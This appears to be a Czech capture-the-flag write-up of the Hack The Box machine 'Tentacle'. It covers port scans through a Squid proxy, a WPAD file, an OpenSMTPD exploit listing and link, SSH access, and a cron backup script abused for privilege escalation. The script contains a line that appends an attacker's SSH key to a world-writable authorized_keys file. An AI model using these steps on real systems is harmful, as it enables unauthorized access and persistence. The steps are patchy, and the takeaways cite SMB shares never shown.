Tentacle
Úvod a kontext
U Tentacle není hlavní hodnota v jednom efektním kroku, ale ve vazbě mezi realcorp.htb, wpad.realcorp.htb a Kerberos.
Článek dává smysl číst hlavně jako rozbor rozhodování: proč právě tyto stopy vedou k SSH s nalezenými přihlašovacími údaji a proč po získání shellu dává smysl řešit automatizovaný job nebo špatně navržený skript opřený o access.log a cache.log.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 8d:dd:18:10:e5:7b:b0:da:a3:fa:14:37:a7:52:7a:9c (RSA)
| 256 f6:a9:2e:57:f8:18:b6:f4:ee:03:41:27:1e:1f:93:99 (ECDSA)
|_ 256 04:74:dd:68:79:f4:22:78:d8:ce:dd:8b:3e:8c:76:3b (ED25519)
53/tcp open domain ISC BIND 9.11.20 (RedHat Enterprise Linux 8)
| dns-nsid:
|_ bind.version: 9.11.20-RedHat-9.11.20-5.el8
88/tcp open kerberos-sec MIT Kerberos (server time: 2021-04-02 13:49:58Z)
3128/tcp open http-proxy Squid http proxy 4.11
|_http-server-header: squid/4.11
|_http-title: ERROR: The requested URL could not be retrieved
9090/tcp closed zeus-admin
Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8
Vyhledání otevřených portů (2)
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
proxychains nmap -p- -A -sC -sV -v -Pn 10.197.243.31
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
464/tcp open kpasswd5
749/tcp open kerberos-adm
3128/tcp open squid-http
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
proxychains ./dirsearch/dirsearch.py -u http://wpad.realcorp.htb -e php -x 403 -r
=> http://wpad.realcorp.htb:80/wpad.dat
Analýza zjištění
Identifikace a hledání exploitu
Zjišťuji technologii a ověřuji známé zranitelnosti.
searchsploit opensmtpd
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSMTPD - MAIL FROM Remote Code Execution (Metasploit) | linux/remote/48038.rb
OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit) | linux/local/48185.rb
OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution | openbsd/remote/48051.pl
OpenSMTPD 6.6.2 - Remote Code Execution | linux/remote/47984.py
OpenSMTPD 6.6.3 - Arbitrary File Read | linux/remote/48139.c
OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution | openbsd/remote/48140.c
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
https://blog.firosolutions.com/exploits/opensmtpd-remote-vulnerability/
https://raw.githubusercontent.com/FiroSolutions/cve-2020-7247-exploit/master/exploit.py
Získání přístupu
Přihlášení na cíl
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
ssh j.nakazawa@10.10.10.224
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
cat user.txt
__CENSORED__
=> * * * * * admin /usr/local/bin/log_backup.sh
Přihlášení na cíl (2)
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
cat /usr/local/bin/log_backup.sh
#!/bin/bash
/usr/bin/rsync -avz --no-perms --no-owner --no-group /var/log/squid/ /home/admin/
cd /home/admin
/usr/bin/tar czf squid_logs.tar.gz.`/usr/bin/date +%F-%H%M%S` access.log cache.log
/usr/bin/rm -f access.log cache.log
echo j.nakazawa@REALCORP.HTB > /var/log/squid/.k5login
mkdir -p /var/log/squid/.ssh && chmod 777 /var/log/squid/.ssh && touch /var/log/squid/.ssh/authorized_keys && chmod 666 /var/log/squid/.ssh/authorized_keys && echo "ssh-rsa __CENSORED__== hack@t" >> /var/log/squid/.ssh/authorized_keys
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat root.txt
__CENSORED__
$6$2ZKaulGjQ1QUYQHO$OmVJBK0.__CENSORED__.
Shrnutí klíčových poznatků
- Klíčový posun nepřinesl samotný scan, ale interpretace toho, co znamenaly
realcorp.htb,wpad.realcorp.htba Kerberos. - Uživatelský přístup dává v tomhle řetězci smysl až ve chvíli, kdy vyjde SSH s nalezenými přihlašovacími údaji.
- Root/admin část nepřišla zkratkou; klíčovou roli tu hraje automatizovaný job nebo špatně navržený skript opřený o
access.logacache.loga navazující lokální enumerace.
Co si odnést do praxe
- Pokud se zanedbá oblast
realcorp.htb,wpad.realcorp.htba Kerberos, vznikne stejný typ vstupu jako tady. SMB sdílení mají mít opravdu minimální ACL a průběžný audit obsahu; i read-only přístup často útočníkovi dá víc než samotná zranitelnost služby. - Jakmile útočník ověří SSH s nalezenými přihlašovacími údaji, je potřeba počítat s dlouhodobým přístupem. Hesla a klíče je potřeba oddělovat mezi službami; jakmile stejné přihlašovací údaje fungují i na SSH, z lokálního úniku je plnohodnotný systémový přístup.
- Stejně důležitá je i obrana proti mechanice automatizovaný job nebo špatně navržený skript opřený o
access.logacache.log. Automatizované joby a skripty je potřeba navrhovat tak, aby neinterpretovaly ovlivnitelné názvy souborů nebo parametry; plánovaná úloha je častý a podceňovaný privesc vektor.